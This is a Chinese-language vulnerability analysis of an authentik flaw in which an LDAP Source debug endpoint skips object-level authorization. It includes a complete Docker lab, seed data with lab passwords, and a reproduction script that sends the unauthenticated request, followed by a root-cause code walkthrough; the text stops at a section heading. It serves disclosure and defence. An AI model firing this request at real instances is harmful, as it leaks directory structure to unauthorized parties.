CVE-2026-55106 表面上是个 debug 接口问题,顺着调用链跟下去会发现,真正失守的是 authentik 在 detail GET 上依赖的对象级授权边界。只要目标实例配置过 LDAP Source,攻击者又能访问 API 并知道或猜到某个 slug,就可以在未登录状态下请求:

GET /api/v3/sources/ldap/{slug}/debug/

请求一旦打进来,服务端就会代用该 LDAP Source 已配置的 bind 身份访问上游 LDAP,并返回一批裁剪过的目录样本。样本不直接包含属性值或 bind 密码,但会泄露真实 DN、属性名、组对象信息和成员关系字段;在常见以 uid=、cn= 命名 DN 的目录里,这些内容已经足够支持目录结构侦察、用户名样本收集和后续攻击路径判断。

根因本身并不复杂:在 authentik 这套 API 配置里,detail GET 的读取授权实际上依赖 ObjectFilter 先收敛 queryset;而 debug action 在脆弱版本里写成了 filter_backends=[],导致 self.get_object() 取对象时没有经过这条收敛链。补丁也很克制,就是把 debug 重新挂回 ObjectFilter 这条现有授权链。

1. 漏洞信息卡

字段

内容

CVE

CVE-2026-55106

GHSA

GHSA-h8ff-c3h7-2gf8

产品

authentik

组件

LDAP Source debug 接口

类型

越权读取 / 对象级权限过滤缺失

受影响版本

<= 2026.2.5、<= 2026.5.4

修复版本

2026.2.6、2026.5.5

Advisory 发布时间

2026-07-15

CVSS v3.1

5.3 / MEDIUM

CVSS 向量

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

官方公告和 GitHub Advisory 的定性比较一致。我这边本地复现后,对这个判断也没有分歧:问题不在 LDAP 协议本身,而在一个诊断 action 没有走 API 其余 detail 读取共用的授权收敛链。因此任意客户端,包括未认证客户端,都可能读取一个已配置 LDAP Source 对应的目录信息。前提同样很明确,实例里必须已经配置了一个或多个 LDAP Source。

2. 攻击者实际能拿到什么

先把能拿到什么、拿不到什么说清楚,后面讨论风险时就不容易跑偏。

问题

结论

需要登录吗

不需要,脆弱版本下匿名请求可命中该接口

需要 LDAP 凭据吗

不需要,服务端会代用 Source 中已有的 bind 配置

会直接泄露 bind 密码吗

不会

会直接回显属性值吗

官方公告和本地复现都不支持这个结论

稳定可见的内容

users、groups、membership 三类对象的 DN 和属性名集合

泄露是否有价值

有,足够支持目录侦察;在常见 uid= / cn= 命名目录里,也足够支持用户名样本和组名侦察

真正危险的地方,不是“debug 接口能查 LDAP”,而是“未授权调用者也能驱动它查 LDAP”。请求一旦命中,后面的 LDAP 操作就不再代表匿名攻击者,而是代表目标实例里那个被 slug 选中的 LDAP Source。

3. 背景:为什么这个 debug 接口天然接近敏感边界

如果平时不太碰 authentik 的 LDAP Source,可以先把它理解成一份“由服务端代为连接外部 LDAP 目录”的配置对象。这个对象里通常包含:

  • server_uri
  • base_dn
  • 用户和组的附加 DN
  • 用户和组的 object filter
  • 组成员关系字段
  • 可选的 bind_cn 与 bind_password

debug 接口原本的设计目的,是帮助管理员快速确认“这个 Source 现在能从上游 LDAP 看到什么”。我单独把这点拎出来讲,是因为它和普通的本地查询接口不一样:这里不是在查本地数据库,而是在让服务端代表某个外部连接对象去访问上游系统。只要对象级授权失效,它就会从一个管理调试功能,变成一个对外可达的越权读取入口。

公开路由是:

GET /api/v3/sources/ldap/{slug}/debug/

这意味着它不是内部辅助函数,而是暴露在 HTTP 面上的正式接口。

4. 本地 Docker 复现

4.1 环境

本次复现实验使用了以下版本:

组件

版本

Docker

29.6.2

Docker Compose

v5.3.1

authentik

2026.5.4

PostgreSQL

16-alpine

OpenLDAP

osixia/openldap:1.5.0

实验拓扑尽量保持简单:authentik server、authentik worker、PostgreSQL 和一台本地 OpenLDAP。LDAP 里预置了两个用户、一个组和一条成员关系;authentik 中创建了一个 slug=corp-ldap 的 LDAP Source。

4.2 复现所用的全部编排与配置

为了让这篇文章本身就能独立复现,下面把我这次实验直接用到的配置和脚本原文都放进正文。读者不需要再来回翻附件;按这里的内容,可以在与本文一致的单租户实验环境里完整搭出复现。唯一没有内嵌的是截图生成辅助脚本,因为它只服务于成文取图,不参与漏洞触发。

先是容器编排文件 compose.yml:

name: cve-2026-55106-lab

services:
  postgresql:
    image: docker.io/library/postgres:16-alpine
    restart: unless-stopped
    env_file:
      - .env
    environment:
      POSTGRES_DB: ${PG_DB}
      POSTGRES_USER: ${PG_USER}
      POSTGRES_PASSWORD: ${PG_PASS}
    healthcheck:
      test:
        - CMD-SHELL
        - pg_isready -d $${POSTGRES_DB} -U $${POSTGRES_USER}
      interval: 10s
      timeout: 5s
      retries: 10
      start_period: 10s
    volumes:
      - postgresql_data:/var/lib/postgresql/data

  openldap:
    image: docker.io/osixia/openldap:1.5.0
    restart: unless-stopped
    env_file:
      - .env
    environment:
      LDAP_ORGANISATION: CVE-2026-55106 Lab
      LDAP_DOMAIN: example.org
      LDAP_ADMIN_PASSWORD: ${LDAP_ADMIN_PASSWORD}
      LDAP_CONFIG_PASSWORD: ${LDAP_CONFIG_PASSWORD}
      LDAP_TLS: "false"
    volumes:
      - ./ldap:/seed:ro
      - openldap_data:/var/lib/ldap
      - openldap_config:/etc/ldap/slapd.d

  server:
    image: ghcr.io/goauthentik/server:2026.5.4
    command: server
    restart: unless-stopped
    depends_on:
      postgresql:
        condition: service_healthy
    env_file:
      - .env
    environment:
      AUTHENTIK_POSTGRESQL__HOST: postgresql
      AUTHENTIK_POSTGRESQL__NAME: ${PG_DB}
      AUTHENTIK_POSTGRESQL__USER: ${PG_USER}
      AUTHENTIK_POSTGRESQL__PASSWORD: ${PG_PASS}
      AUTHENTIK_SECRET_KEY: ${AUTHENTIK_SECRET_KEY}
    ports:
      - ${AUTHENTIK_HTTP_PORT}:9000
    volumes:
      - ./data:/data
      - ./custom-templates:/templates

  worker:
    image: ghcr.io/goauthentik/server:2026.5.4
    command: worker
    restart: unless-stopped
    depends_on:
      postgresql:
        condition: service_healthy
    env_file:
      - .env
    environment:
      AUTHENTIK_POSTGRESQL__HOST: postgresql
      AUTHENTIK_POSTGRESQL__NAME: ${PG_DB}
      AUTHENTIK_POSTGRESQL__USER: ${PG_USER}
      AUTHENTIK_POSTGRESQL__PASSWORD: ${PG_PASS}
      AUTHENTIK_SECRET_KEY: ${AUTHENTIK_SECRET_KEY}
      AUTHENTIK_BOOTSTRAP_PASSWORD: ${AUTHENTIK_BOOTSTRAP_PASSWORD}
      AUTHENTIK_BOOTSTRAP_TOKEN: ${AUTHENTIK_BOOTSTRAP_TOKEN}
      AUTHENTIK_BOOTSTRAP_EMAIL: ${AUTHENTIK_BOOTSTRAP_EMAIL}
    volumes:
      - ./data:/data
      - ./certs:/certs
      - ./custom-templates:/templates
      - ./scripts:/repro-scripts:ro

volumes:
  postgresql_data:
  openldap_data:
  openldap_config:

配套的 .env 内容如下:

PG_PASS=authentik-postgres-pass
PG_USER=authentik
PG_DB=authentik
AUTHENTIK_SECRET_KEY=8z5z9tR0aR3r6p5n4m2k1j8h7g6f5d4s3a2q1w0e9r8t7y6u5i4o3p2a1s0d9f8
AUTHENTIK_BOOTSTRAP_PASSWORD=AuthentikLab!2026
AUTHENTIK_BOOTSTRAP_TOKEN=ak-lab-token-cve-2026-55106
AUTHENTIK_BOOTSTRAP_EMAIL=lab-admin@example.org
AUTHENTIK_HTTP_PORT=39000
LDAP_ADMIN_PASSWORD=ldap-admin-pass
LDAP_CONFIG_PASSWORD=ldap-config-pass
LDAP_SOURCE_SLUG=corp-ldap

这组参数里最关键的是三项:AUTHENTIK_HTTP_PORT=39000 用来把实验环境固定在本机 39000/tcp,AUTHENTIK_BOOTSTRAP_* 用来完成首次初始化,LDAP_SOURCE_SLUG=corp-ldap 用来保证匿名验证时命中的就是文章里分析的那一个 Source。

4.3 LDAP 初始目录数据

LDAP 目录预置数据文件 ldap/bootstrap.ldif 原文如下:

dn: ou=users,dc=example,dc=org
objectClass: organizationalUnit
ou: users

dn: ou=groups,dc=example,dc=org
objectClass: organizationalUnit
ou: groups

dn: uid=alice,ou=users,dc=example,dc=org
objectClass: inetOrgPerson
cn: Alice Example
sn: Example
uid: alice
mail: alice@example.org
userPassword: AlicePassword!2026

dn: uid=bob,ou=users,dc=example,dc=org
objectClass: inetOrgPerson
cn: Bob Example
sn: Example
uid: bob
mail: bob@example.org
userPassword: BobPassword!2026

dn: cn=engineering,ou=groups,dc=example,dc=org
objectClass: groupOfNames
cn: engineering
member: uid=alice,ou=users,dc=example,dc=org
member: uid=bob,ou=users,dc=example,dc=org

这个 LDIF 没有刻意做复杂设计,只是为了让 debug 返回里稳定出现两条用户对象、一条组对象和一条成员关系。这样一来,“接口未授权可达”和“返回真实目录元数据”这两个结论就能同时落地。

4.4 等待与种库脚本

等待 OpenLDAP 就绪的 scripts/wait_for_ldap.sh:

#!/usr/bin/env bash
set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$ROOT_DIR"

set -a
source ./.env
set +a

for _ in $(seq 1 60); do
  if docker compose exec -T openldap ldapwhoami \
    -x \
    -H ldap://127.0.0.1:389 \
    -D "cn=admin,dc=example,dc=org" \
    -w "${LDAP_ADMIN_PASSWORD:-ldap-admin-pass}" >/dev/null 2>&1; then
    exit 0
  fi
  sleep 2
done

echo "LDAP service did not become ready in time." >&2
exit 1

把 LDIF 导入目录的 scripts/seed_ldap.sh:

#!/usr/bin/env bash
set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$ROOT_DIR"

set -a
source ./.env
set +a

ldap_search_output="$(docker compose exec -T openldap ldapsearch \
  -LLL \
  -x \
  -H ldap://127.0.0.1:389 \
  -D "cn=admin,dc=example,dc=org" \
  -w "$LDAP_ADMIN_PASSWORD" \
  -b "dc=example,dc=org" \
  "(uid=alice)" \
  dn)"

if grep -q "^dn: uid=alice,ou=users,dc=example,dc=org" <<<"$ldap_search_output"; then
  echo "LDAP directory already seeded."
  exit 0
fi

docker compose exec -T openldap ldapadd \
  -x \
  -H ldap://127.0.0.1:389 \
  -D "cn=admin,dc=example,dc=org" \
  -w "$LDAP_ADMIN_PASSWORD" \
  -f /seed/bootstrap.ldif

等待 authentik API 就绪的 scripts/wait_for_authentik.sh:

#!/usr/bin/env bash
set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$ROOT_DIR"

set -a
source ./.env
set +a

BASE_URL="http://127.0.0.1:${AUTHENTIK_HTTP_PORT}"

for _ in $(seq 1 90); do
  if curl -fsS "${BASE_URL}/api/v3/root/config/" >/dev/null 2>&1; then
    exit 0
  fi
  sleep 3
done

echo "authentik did not become ready in time." >&2
exit 1

这三段脚本分别解决三个实际问题:目录何时可连、目录数据何时已导入、authentik API 何时能接受后续配置。少了这几个等待点,复现实验很容易因为容器启动时序而变得不稳定。

4.5 创建 LDAP Source 的脚本

漏洞能不能稳定触发,关键不在 curl,而在于前面得先造出一份会代表服务端去连 LDAP 的 Source。下面这对脚本就是在做这件事。

先看容器内执行的 Django shell 脚本 scripts/create_ldap_source.py:

import json
import os

from authentik.sources.ldap.models import LDAPSource
from authentik.tenants.models import Tenant

slug = os.environ["LDAP_SOURCE_SLUG"]
tenant = Tenant.objects.filter(ready=True).order_by("schema_name").first()
if tenant is None:
    raise SystemExit("No ready tenant found.")

with tenant:
    source, created = LDAPSource.objects.update_or_create(
        slug=slug,
        defaults={
            "name": "Corp LDAP",
            "enabled": True,
            "server_uri": "ldap://openldap:389",
            "bind_cn": "cn=admin,dc=example,dc=org",
            "bind_password": os.environ["LDAP_ADMIN_PASSWORD"],
            "base_dn": "dc=example,dc=org",
            "additional_user_dn": "ou=users",
            "additional_group_dn": "ou=groups",
            "user_object_filter": "(objectClass=inetOrgPerson)",
            "group_object_filter": "(objectClass=groupOfNames)",
            "group_membership_field": "member",
            "user_membership_attribute": "distinguishedName",
            "object_uniqueness_field": "entryUUID",
            "sync_users": True,
            "sync_users_password": False,
            "sync_groups": True,
            "lookup_groups_from_user": False,
            "delete_not_found_objects": False,
        },
    )
    print(
        json.dumps(
            {
                "tenant": tenant.schema_name,
                "slug": source.slug,
                "created": created,
                "server_uri": source.server_uri,
                "base_dn": source.base_dn,
            }
        )
    )

再看负责进入 worker 容器执行它的包装脚本 scripts/create_ldap_source.sh:

#!/usr/bin/env bash
set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$ROOT_DIR"

set -a
source ./.env
set +a

docker compose exec -T worker bash -lc \
  "source /ak-root/.venv/bin/activate && python /manage.py shell < /repro-scripts/create_ldap_source.py"

这里最关键的不是“创建了一个 LDAP Source”,而是“创建了一份会用 bind_cn=cn=admin,dc=example,dc=org 代表服务端访问上游目录的 LDAP Source”。同时也要注意,这段脚本默认取的是第一个 ready tenant;本文实验环境只有默认租户,因此它会稳定落到 public。如果直接搬到多租户实例,租户选择逻辑最好改成显式指定。

4.6 一键复现与清理脚本

把前面这些步骤真正串起来的是 scripts/reproduce.sh:

#!/usr/bin/env bash
set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$ROOT_DIR"

mkdir -p artifacts

set -a
source ./.env
set +a

docker compose up -d

"$ROOT_DIR/scripts/wait_for_ldap.sh"
"$ROOT_DIR/scripts/seed_ldap.sh"
"$ROOT_DIR/scripts/wait_for_authentik.sh"
"$ROOT_DIR/scripts/create_ldap_source.sh"

TARGET_URL="http://127.0.0.1:${AUTHENTIK_HTTP_PORT}/api/v3/sources/ldap/${LDAP_SOURCE_SLUG}/debug/"

status_code="$(curl -sS \
  -D artifacts/anon-debug-headers.txt \
  -o artifacts/anon-debug-response.json \
  -w '%{http_code}' \
  "$TARGET_URL")"

printf '%s\n' "$status_code" > artifacts/anon-debug-status.txt

if [[ "$status_code" != "200" ]]; then
  echo "Unexpected status code: $status_code" >&2
  exit 1
fi

python3 - <<'PY'
import json
from pathlib import Path

body = json.loads(Path("artifacts/anon-debug-response.json").read_text())
summary = {
    "keys": sorted(body.keys()),
    "users": len(body.get("users", [])),
    "groups": len(body.get("groups", [])),
    "membership": len(body.get("membership", [])),
}
Path("artifacts/anon-debug-summary.json").write_text(
    json.dumps(summary, indent=2, ensure_ascii=False) + "\n"
)
print(json.dumps(summary, ensure_ascii=False))
PY

echo "Anonymous reproduction succeeded against ${TARGET_URL}."

对应的清理脚本 scripts/cleanup.sh 很短:

#!/usr/bin/env bash
set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$ROOT_DIR"

docker compose down -v

如果不想手工一条条敲,上面的 reproduce.sh 已经把完整攻击路径走了一遍:启动环境、准备目录、等待 API、创建 Source,最后再以匿名身份访问 /api/v3/sources/ldap/corp-ldap/debug/。最后一步没有携带 Cookie、Token 或 Authorization 头。

为了避免宿主机和容器内环境混在一起,下面几张图统一成了在 server 容器内执行并抓取的终端截图:

4.7 复现结果

先看最关键的一张图。下面这次匿名请求没有带任何认证信息,但仍然返回了 HTTP/1.1 200 OK:


把关键结果摘出来就是:

HTTP status: 200
summary: {"keys":["groups","membership","users"],"users":2,"groups":1,"membership":1}

对应的实际终端截图如下:

原始响应里还能直接看到真实目录对象的样本。下面这张终端截图里已经能看到用户 DN、组 DN 和属性名集合:

到这里,两个结论已经足够稳了:

  1. 匿名访问者确实可以命中 debug。
  2. 返回内容不是简单的健康检查结果,而是真实 LDAP 目录对象的元数据样本。

5. 根因:debug action 脱离了对象级授权链

这一节我不铺太大,只盯三个关键角色:LDAPSourceViewSet、ObjectFilter 和 DRF 的 GenericAPIView.get_object()。真正的断点发生在 detail lookup 之前,而不是返回结果之后。

5.1 先看 LDAPSourceViewSet 在做什么

脆弱版本里,LDAPSourceViewSet 的基础定义如下:

代码片段 1:LDAPSourceViewSet 只声明“从哪张表取对象”和“用什么字段做 detail lookup”,并不在这里做对象级收敛。

class LDAPSourceViewSet(UsedByMixin, ModelViewSet):
    """LDAP Source Viewset"""

    queryset = LDAPSource.objects.all()
    serializer_class = LDAPSourceSerializer
    lookup_field = "slug"
    filterset_fields = [
        "pbm_uuid",
        "name",
        "slug",
        "enabled",
        "server_uri",
        "bind_cn",
        "peer_certificate",
        "client_certificate",
        "start_tls",
        "sni",
        "base_dn",
        "additional_user_dn",
        "additional_group_dn",
        "user_object_filter",
        "group_object_filter",
        "group_membership_field",
        "user_membership_attribute",
        "object_uniqueness_field",
        "password_login_update_internal_password",
        "sync_users",
        "sync_users_password",
        "sync_groups",
        "sync_parent_group",
        "user_property_mappings",
        "group_property_mappings",
        "lookup_groups_from_user",
        "delete_not_found_objects",
    ]
    search_fields = ["name", "slug"]
    ordering = ["name"]

这里我只强调两个点。

第一,queryset = LDAPSource.objects.all() 说明 viewset 启动时拿到的是全量 LDAPSource 对象,不带任何按用户收敛的语义。真正的权限边界不在 queryset 初始定义,而在后续 filter backend。

第二,lookup_field = "slug" 说明 detail action 取对象时,不是按主键,而是按路径中的 slug。这本身不是漏洞,但意味着只要对象过滤链失效,请求者就能直接用一个可猜测的业务标识去命中目标配置对象。

5.2 ObjectFilter 内部到底做了什么

ObjectFilter 里真正需要盯住的,不是某个简单的布尔判断,而是一条分支明确的 queryset 收敛链:

代码片段 2:ObjectFilter 的职责不是“兜底报错”,而是先把 queryset 收缩到当前请求者可见的对象集合。

class ObjectFilter(ObjectPermissionsFilter):
    """Object permission filter that grants global permission higher priority than
    per-object permissions"""

    def filter_queryset(self, request: Request, queryset: QuerySet, view: APIView) -> QuerySet:
        permission = self.perm_format % {
            "app_label": queryset.model._meta.app_label,
            "model_name": queryset.model._meta.model_name,
        }
        # having the global permission set on a user has higher priority than
        # per-object permissions
        if request.user.has_perm(permission):
            return queryset
        # User does not have permissions, but we have an owner field defined, so filter by that
        if owner_field := getattr(view, "owner_field", None):
            return queryset.filter(**{owner_field: request.user})
        queryset = super().filter_queryset(request, queryset, view)
        # Outposts (which are the only objects using internal service accounts)
        # except requests to return an empty list when they have no objects
        # assigned
        if getattr(request.user, "type", None) == UserTypes.INTERNAL_SERVICE_ACCOUNT:
            return queryset
        if not queryset.exists():
            # User doesn't have direct permission to all objects
            # and also no object permissions assigned (directly or via role)
            raise PermissionDenied()
        return queryset

把这段代码拆开看,执行顺序是:

  1. 先构造当前模型对应的读取权限名,例如 sources_ldap.view_ldapsource 这一类。
  2. 如果请求者有全局权限,直接返回原 queryset,不再做对象级裁剪。
  3. 如果 view 定义了 owner_field,则走“对象归属”路径,把 queryset 限制到当前用户拥有的对象。
  4. 否则调用父类 ObjectPermissionsFilter.filter_queryset(),实际落到 guardian.shortcuts.get_objects_for_user(...) 做对象级权限过滤。
  5. 对内部服务账号允许“空结果集”语义;对普通用户,如果过滤完一个对象都没有,就直接抛 PermissionDenied。

这一段非常关键,因为它说明 ObjectFilter 做的不是“取到对象以后再检查一次”,而是先把可见对象集合收紧,再让后续 detail lookup 在这个集合上工作。也就是说,权限边界压根发生在 ORM 取对象之前。

5.3 DRF 为什么会把 filter_backends 变成安全边界

接下来把 DRF 的标准流程补上,根因就完整了。这一步不属于 authentik 私有实现,而属于 DRF 的标准行为。

GenericAPIView.get_object() 的核心顺序是:

代码片段 3:DRF 把 filter_queryset(...) 放在 get_object() 前面,这也是为什么 filter_backends 会直接影响 detail action 的安全边界。

def get_object(self):
    """
    Returns the object the view is displaying.

    You may want to override this if you need to provide non-standard
    queryset lookups.  Eg if objects are referenced using multiple
    keyword arguments in the url conf.
    """
    queryset = self.filter_queryset(self.get_queryset())

    # Perform the lookup filtering.
    lookup_url_kwarg = self.lookup_url_kwarg or self.lookup_field
    assert lookup_url_kwarg in self.kwargs, (
        'Expected view %s to be called with a URL keyword argument '
        'named "%s". Fix your URL conf, or set the `.lookup_field` '
        'attribute on the view correctly.' %
        (self.__class__.__name__, lookup_url_kwarg)
    )

    filter_kwargs = {self.lookup_field: self.kwargs[lookup_url_kwarg]}
    obj = get_object_or_404(queryset, **filter_kwargs)
    # May raise a permission denied
    self.check_object_permissions(self.request, obj)

    return obj

def filter_queryset(self, queryset):
    """
    Given a queryset, filter it with whichever filter backend is in use.
    """
    for backend in list(self.filter_backends):
        queryset = backend().filter_queryset(self.request, queryset, self)
    return queryset

上面这段就是 DRF GenericAPIView.get_object() 的标准执行顺序,没有额外的框架魔法。

这个顺序意味着:

  1. 先拿基础 queryset。
  2. 先套当前 action 生效的 filter backend。
  3. 再按 lookup_field 做 detail lookup。
  4. 最后才是对象级 permission hook。

所以这里真正影响安全语义的,不只是末尾有没有 check_object_permissions(),更是开头那句 filter_queryset(self.get_queryset()) 有没有按预期执行。如果 action 把 filter_backends 改空了,那么 get_object() 之前的 queryset 收敛就已经没了。

这里还要补一个 authentik 自身的前提,否则很容易误以为 self.check_object_permissions() 会在最后兜住匿名 GET。authentik 的默认 DEFAULT_PERMISSION_CLASSES 用的是 authentik.rbac.permissions.ObjectPermissions。这个权限类对带 lookup_field 的 detail 请求会直接放行 has_permission(),把读取授权主要交给 ObjectFilter 这条 queryset 收敛链;而它继承的 DRF DjangoObjectPermissions 对 GET/HEAD/OPTIONS 的对象权限映射本身是空列表。换句话说,对这个接口来说,ObjectFilter 不是“附加过滤”,而是 detail 读取授权的主检查点。debug 把 filter_backends 设为空,实际拿掉的正是这个主检查点。

5.4 debug 和 sync_status 的对照才是最有说服力的证据

同一个 viewset 内,sync_status 和 debug 的装饰器配置不同:

代码片段 4:同一个类里,安全 action 和脆弱 action 的差别只在 filter_backends,这正是这个 CVE 最有代表性的地方。

@extend_schema(responses={200: SyncStatusSerializer()})
@action(
    methods=["GET"],
    detail=True,
    pagination_class=None,
    url_path="sync/status",
    filter_backends=[ObjectFilter],
)
def sync_status(self, request: Request, slug: str) -> Response:
    """Get provider's sync status"""
    source: LDAPSource = self.get_object()

    status = {}

    with source.sync_lock as lock_acquired:
        # If we could not acquire the lock, it means a task is using it, and thus is running
        status["is_running"] = not lock_acquired

    sync_schedule = None
    for schedule in source.schedules.all():
        if schedule.actor_name == ldap_sync.actor_name:
            sync_schedule = schedule

    if not sync_schedule:
        return Response(SyncStatusSerializer(status).data)

    last_task: Task = (
        sync_schedule.tasks.filter(state__in=(TaskStatus.DONE, TaskStatus.REJECTED))
        .order_by("-mtime")
        .first()
    )
    last_successful_task: Task = (
        sync_schedule.tasks.filter(aggregated_status__in=(TaskStatus.DONE, TaskStatus.INFO))
        .order_by("-mtime")
        .first()
    )

    if last_task:
        status["last_sync_status"] = last_task.aggregated_status
    if last_successful_task:
        status["last_successful_sync"] = last_successful_task.mtime

    return Response(SyncStatusSerializer(status).data)

@extend_schema(
    responses={
        200: inline_serializer(
            "LDAPDebugSerializer",
            fields={
                "user": ListField(child=DictField(), read_only=True),
                "group": ListField(child=DictField(), read_only=True),
                "membership": ListField(child=DictField(), read_only=True),
            },
        ),
    }
)
@action(methods=["GET"], detail=True, pagination_class=None, filter_backends=[])
def debug(self, request: Request, slug: str) -> Response:
    """Get raw LDAP data to debug"""
    source = self.get_object()
    all_objects = {}
    for sync_class in SYNC_CLASSES:
        class_name = sync_class.name()
        all_objects.setdefault(class_name, [])
        for page in sync_class(source, Task()).get_objects(size_limit=10):
            for obj in page:
                obj: dict
                obj.pop("raw_attributes", None)
                obj.pop("raw_dn", None)
                all_objects[class_name].append(obj)
    return Response(data=all_objects)

这个对照很有说服力,因为它排除了“团队根本没用对象级过滤模型”这种解释。sync_status 已经明确表明,这个 viewset 原本就是靠 ObjectFilter 保护 detail action 的;只有 debug 被单独移出了这条链。

5.5 漏洞是怎样发生的

按运行时顺序压缩之后,链条就这么几步:

  1. 请求进入 /api/v3/sources/ldap/{slug}/debug/。
  2. 路由命中 LDAPSourceViewSet.debug。
  3. 当前 action 的 filter_backends 被读取到的是空列表。
  4. self.get_object() 不再基于“当前用户可见对象集”解析,而是直接在 LDAPSource.objects.all() 上按 slug 取对象。
  5. 目标 source 一旦取回成功,后面的 LDAP 调试逻辑就全部在这个对象的连接配置和查询配置上继续执行。

这也是为什么更准确的说法不是“少写了鉴权”,而是“对象级授权链被 action 配置绕开了”。

5.6 一张图看懂正常链路和脆弱链路

图 1:同样都是 detail action,差别不在业务函数体,而在 self.get_object() 之前的 queryset 是否先经过对象级过滤。

如果把整条链压成一句话,就是:正常路径是“先授权、后取对象”,脆弱路径变成了“先取对象、后执行敏感动作”。

6. 从 /debug/ 到 LDAP:完整执行链

真正把风险放大的,不是 source = self.get_object() 这一行本身,而是拿到 source 之后,它立刻被送进了正式的 LDAP 同步链。下面沿着调用顺序往下拆。

6.1 debug() 方法本身在逐句做什么

先把脆弱版本的 debug 原样摆出来:

代码片段 5:debug() 不是自己实现 LDAP 探测,而是直接复用正式同步器,只是把结果截成一个小样本返回。

@extend_schema(
    responses={
        200: inline_serializer(
            "LDAPDebugSerializer",
            fields={
                "user": ListField(child=DictField(), read_only=True),
                "group": ListField(child=DictField(), read_only=True),
                "membership": ListField(child=DictField(), read_only=True),
            },
        ),
    }
)
@action(methods=["GET"], detail=True, pagination_class=None, filter_backends=[])
def debug(self, request: Request, slug: str) -> Response:
    """Get raw LDAP data to debug"""
    source = self.get_object()
    all_objects = {}
    for sync_class in SYNC_CLASSES:
        class_name = sync_class.name()
        all_objects.setdefault(class_name, [])
        for page in sync_class(source, Task()).get_objects(size_limit=10):
            for obj in page:
                obj: dict
                obj.pop("raw_attributes", None)
                obj.pop("raw_dn", None)
                all_objects[class_name].append(obj)
    return Response(data=all_objects)

按执行顺序拆开看,这段代码就是五步:

  1. source = self.get_object():先根据路径里的 slug 解析出一个 LDAPSource 对象。
  2. for sync_class in SYNC_CLASSES:不是自己手写 LDAP 查询,而是直接复用正式同步器。
  3. sync_class(source, Task()).get_objects(size_limit=10):实例化同步器时就把这个 source 作为完整连接配置传进去。
  4. obj.pop("raw_attributes", None) 和 obj.pop("raw_dn", None):只做结果裁剪,不改变前面已经发生的 LDAP 查询。
  5. return Response(data=all_objects):把三类对象样本直接回给调用者。

换句话说,debug 不是一个独立实现的小工具,而是把正式同步链当成“只取前几页样本”的调试后端来用。

6.2 SYNC_CLASSES 说明这里走的是正式同步语义

SYNC_CLASSES 用真实常量把这条执行链钉死了:

from authentik.sources.ldap.sync.base import BaseLDAPSynchronizer
from authentik.sources.ldap.sync.groups import GroupLDAPSynchronizer
from authentik.sources.ldap.sync.membership import MembershipLDAPSynchronizer
from authentik.sources.ldap.sync.users import UserLDAPSynchronizer

SYNC_CLASSES: list[type[BaseLDAPSynchronizer]] = [
    UserLDAPSynchronizer,
    GroupLDAPSynchronizer,
    MembershipLDAPSynchronizer,
]

这点很关键,因为它说明回包里的 users、groups、membership 不是随手拼出来的字段名,而是产品本身同步逻辑里的三种对象视角。攻击者看到的,其实是“这套 LDAP Source 会如何理解上游目录”的缩略图。

6.3 BaseLDAPSynchronizer 把 source 变成了真实 LDAP 连接

BaseLDAPSynchronizer 的基类构造函数很短,但语义不轻:

代码片段 6:同步器一实例化就立刻调用 source.connection(),这意味着风险在“拿到 source”之后马上兑现成真实 LDAP 连接。

class BaseLDAPSynchronizer:
    """Sync LDAP Users and groups into authentik"""

    _source: LDAPSource
    _task: Task
    _logger: BoundLogger
    _connection: Connection
    mapper: SourceMapper
    manager: PropertyMappingManager

    def __init__(self, source: LDAPSource, task: Task):
        self._source = source
        self._task = task
        self._connection = source.connection()
        self._logger = get_logger().bind(source=source, syncer=self.__class__.__name__)
        self.matcher = SourceMatcher(
            self._source, UserLDAPSourceConnection, GroupLDAPSourceConnection
        )

    @property
    def base_dn_users(self) -> str:
        """Shortcut to get full base_dn for user lookups"""
        if self._source.additional_user_dn:
            return f"{self._source.additional_user_dn},{self._source.base_dn}"
        return self._source.base_dn

    @property
    def base_dn_groups(self) -> str:
        """Shortcut to get full base_dn for group lookups"""
        if self._source.additional_group_dn:
            return f"{self._source.additional_group_dn},{self._source.base_dn}"
        return self._source.base_dn

这里最关键的一行就是 self._connection = source.connection()。也就是说,只要 debug 能把一个越权得到的 LDAPSource 送进同步器,连接在构造阶段就已经建立了,后面每个同步器只是继续消费这条连接。

同一个源码块里也能直接看到两个很关键的便捷属性:base_dn_users 和 base_dn_groups 都是在运行时从 LDAPSource 配置对象上拼出来,而不是写死在同步器里。

这说明查询范围不是写死在 synchronizer 里,而是运行时从 source 对象上拼出来。谁拿到了这个 source,谁就等于拿到了“从哪个 DN 起查用户”和“从哪个 DN 起查组”的上下文。

6.4 search_paginator() 才是实际发 LDAP 查询的地方

在同步基类里,真正把 LDAP 查询发出去的是 search_paginator():

代码片段 8:这里才是真正把 search_base、search_filter 和属性列表送给 ldap3 的地方。

def search_paginator(  # noqa: PLR0913
    self,
    search_base,
    search_filter,
    search_scope=SUBTREE,
    dereference_aliases=DEREF_ALWAYS,
    attributes=None,
    size_limit=0,
    time_limit=0,
    types_only=False,
    get_operational_attributes=False,
    controls=None,
    paged_size=None,
    paged_criticality=False,
):
    """Search in pages, returns each page"""
    cookie = True
    if not paged_size:
        paged_size = CONFIG.get_int("ldap.page_size", 50)
    while cookie:
        self._connection.search(
            search_base,
            search_filter,
            search_scope,
            dereference_aliases,
            attributes,
            size_limit,
            time_limit,
            types_only,
            get_operational_attributes,
            controls,
            paged_size,
            paged_criticality,
            None if cookie is True else cookie,
        )
        try:
            cookie = self._connection.result["controls"]["1.2.840.113556.1.4.319"]["value"][
                "cookie"
            ]
        except KeyError:
            cookie = None
        yield self._connection.response

这段实现至少说明了两件事。

第一,debug 返回的不是本地缓存,不是 ORM 数据,也不是预生成摘要,而是实时 LDAP 查询结果。

第二,size_limit=10 限制的是每次 debug 调用拿回来的样本规模,不是权限边界。请求只要能走到这里,LDAP 查询就已经发生了。

6.5 LDAPSource.connection() 是这条链真正的能力放大点

